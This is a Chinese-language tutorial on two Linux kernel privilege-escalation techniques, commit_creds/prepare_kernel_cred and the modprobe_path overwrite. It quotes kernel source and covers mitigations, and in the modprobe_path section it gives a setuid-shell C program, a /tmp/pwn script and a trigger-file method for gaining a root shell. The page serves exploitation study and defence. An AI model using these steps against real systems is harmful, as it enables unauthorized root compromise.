Skip to content

Simple Exploitation Techniques

commit_creds + prepare_kernel_cred

原理

prepare_kernel_cred(NULL)

會回傳一個 struct cred 的 pointer 並指向一個有所有權限的 cred

commit_creds(cred)

會把當前 process 的 cred 替換成我們指定的 cred。所以呼叫

commit_creds(prepare_kernel_cred(NULL))

就可以讓當前的 process 提權

整理

當一個 process 在 kernel 中執行

commit_creds(prepare_kernel_cred(NULL))

後 process 就被提權了

Mitigation

Kernel 版本 6.2 後 prepare_kernel_cred 改成傳入 NULL 也會回傳 NULL,所以 6.2.0 後沒有辦法使用 commit_cred + prepare_kernel_cred 這個技巧


modprobe_path

原理

如果一個檔案執行的話會呼叫到 search_binary_handler

// Version : 5.4.0
int search_binary_handler(struct linux_binprm *bprm) {
    bool need_retry = IS_ENABLED(CONFIG_MODULES);
    struct linux_binfmt *fmt;
    int retval;

    // ...

retry:
    read_lock(&binfmt_lock);
    list_for_each_entry(fmt, &formats, lh) {
        if (!try_module_get(fmt->module))
            continue;
        read_unlock(&binfmt_lock);

        bprm->recursion_depth++;
        retval = fmt->load_binary(bprm);
        bprm->recursion_depth--;

        read_lock(&binfmt_lock);
        put_binfmt(fmt);
        if (retval < 0 && !bprm->mm) {
            read_unlock(&binfmt_lock);
            force_sigsegv(SIGSEGV);
            return retval;
        }
        if (retval != -ENOEXEC || !bprm->file) {
            read_unlock(&binfmt_lock);
            return retval;
        }
    }
    read_unlock(&binfmt_lock);

    if (need_retry) {
        // #define printable(c) (((c)=='\t') || ((c)=='\n') || (0x20<=(c) && (c)<=0x7e))
        if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
            printable(bprm->buf[2]) && printable(bprm->buf[3]))
            return retval;
        if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
            return retval;
        need_retry = false;
        goto retry;
    }

    return retval;
}

如果目前沒有任何 handler 可以識別這個檔案,且檔案的前 4 bytes 都是不可視字元的話,會去呼叫 request_module

// Version : 5.4.0
#define request_module(mod...) __request_module(true, mod)
// Version : 5.4.0
int __request_module(bool wait, const char *fmt, ...) {
    va_list args;
    char module_name[MODULE_NAME_LEN];
    int ret;

    // ...

    if (!modprobe_path[0])
        return 0;

    va_start(args, fmt);
    ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
    va_end(args);
    if (ret >= MODULE_NAME_LEN)
        return -ENAMETOOLONG;

    ret = security_kernel_module_request(module_name);
    if (ret)
        return ret;

    // ...

    ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);

    // ...

    return ret;
}
// Version : 5.4.0
static int call_modprobe(char *module_name, int wait) {
    struct subprocess_info *info;
    static char *envp[] = {
        "HOME=/",
        "TERM=linux",
        "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
        NULL
    };

    char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
    if (!argv)
        goto out;

    module_name = kstrdup(module_name, GFP_KERNEL);
    if (!module_name)
        goto free_argv;

    argv[0] = modprobe_path;
    argv[1] = "-q";
    argv[2] = "--";
    argv[3] = module_name;
    argv[4] = NULL;

    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                        NULL, free_modprobe_argv, NULL);
    if (!info)
        goto free_module_name;

    return call_usermodehelper_exec(info, wait | UMH_KILLABLE);

free_module_name:
    kfree(module_name);
free_argv:
    kfree(argv);
out:
    return -ENOMEM;
}

可以看到 call_modprobe 去執行了 <modprobe_path> -q -- <module_name> 並且是以 root 的權限。所以如果我們去把 modprobe_path 上的字串改成我們自己的執行檔(或 bash script 之類的),然後去執行一個沒有 handler 的檔案,且檔案前 4 bytes 不是可視字元,我們的改寫的 modprobe_path 就會以 root 執行起來。

執行之後會回到 search_binary_handler,然後會重新找一次 handler。但顯然我們自己的執行黨不會去新增 handler,所以重新找一次也不會找到可以識別的 handler。找完之後就會按照正常的找不到 handler 後怎麼執行就怎麼執行。

整理

modprobe_path 中的字串改成 /tmp/pwn,把 /tmp/pwn 寫成

#!/bin/sh

chown 0:0 /tmp/shell
chmod 4755 /tmp/shell

其中 /tmp/shell 是由

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void main() {
    setuid(0);
    setgid(0);
    execl("/bin/sh", "sh", NULL);
}
musl-gcc -static shell.c -o shell

編譯的

然後寫一個 /tmp/trigger 前四個 bytes 是 \xff\xff\xff\xff,接著執行 /tmp/trigger,因為沒有 handler 可以識別這個檔案,所以就會去執行

/tmp/pwn -q -- binfmt-ffff

執行後因為沒有去新增 handler,所以 /tmp/trigger 就會直接因為沒有 handler 而正常退出(這邊的正常是指 kernel 不會壞掉)。而 /tmp/pwn 會去新增一個 /tmp/shell,並且執行他就會有 root 的 shell。

Mitigation

如果 kernel 在編譯的時候有設定 CONFIG_STATIC_USERMODEHELPER 的話

struct subprocess_info *call_usermodehelper_setup(
    const char *path, char **argv, 
    char **envp, gfp_t gfp_mask,
    int (*init)(struct subprocess_info *info, struct cred *new),
    void (*cleanup)(struct subprocess_info *info),
    void *data
) {
    // ..

#ifdef CONFIG_STATIC_USERMODEHELPER
    sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
    sub_info->path = path;
#endif

    // ...
}

執行路徑就直接 CONFIG_STATIC_USERMODEHELPER_PATH,且這個值是在 read only 區段,所以沒有辦法直接被利用。

但目前大多數的發行版編譯的時候都沒有設定 CONFIG_STATIC_USERMODEHELPER。可以用

cat /boot/config-`uname -r` | grep CONFIG_STATIC_USERMODEHELPER

CONFIG_STATIC_USERMODEHELPER 有沒有被打開


Reference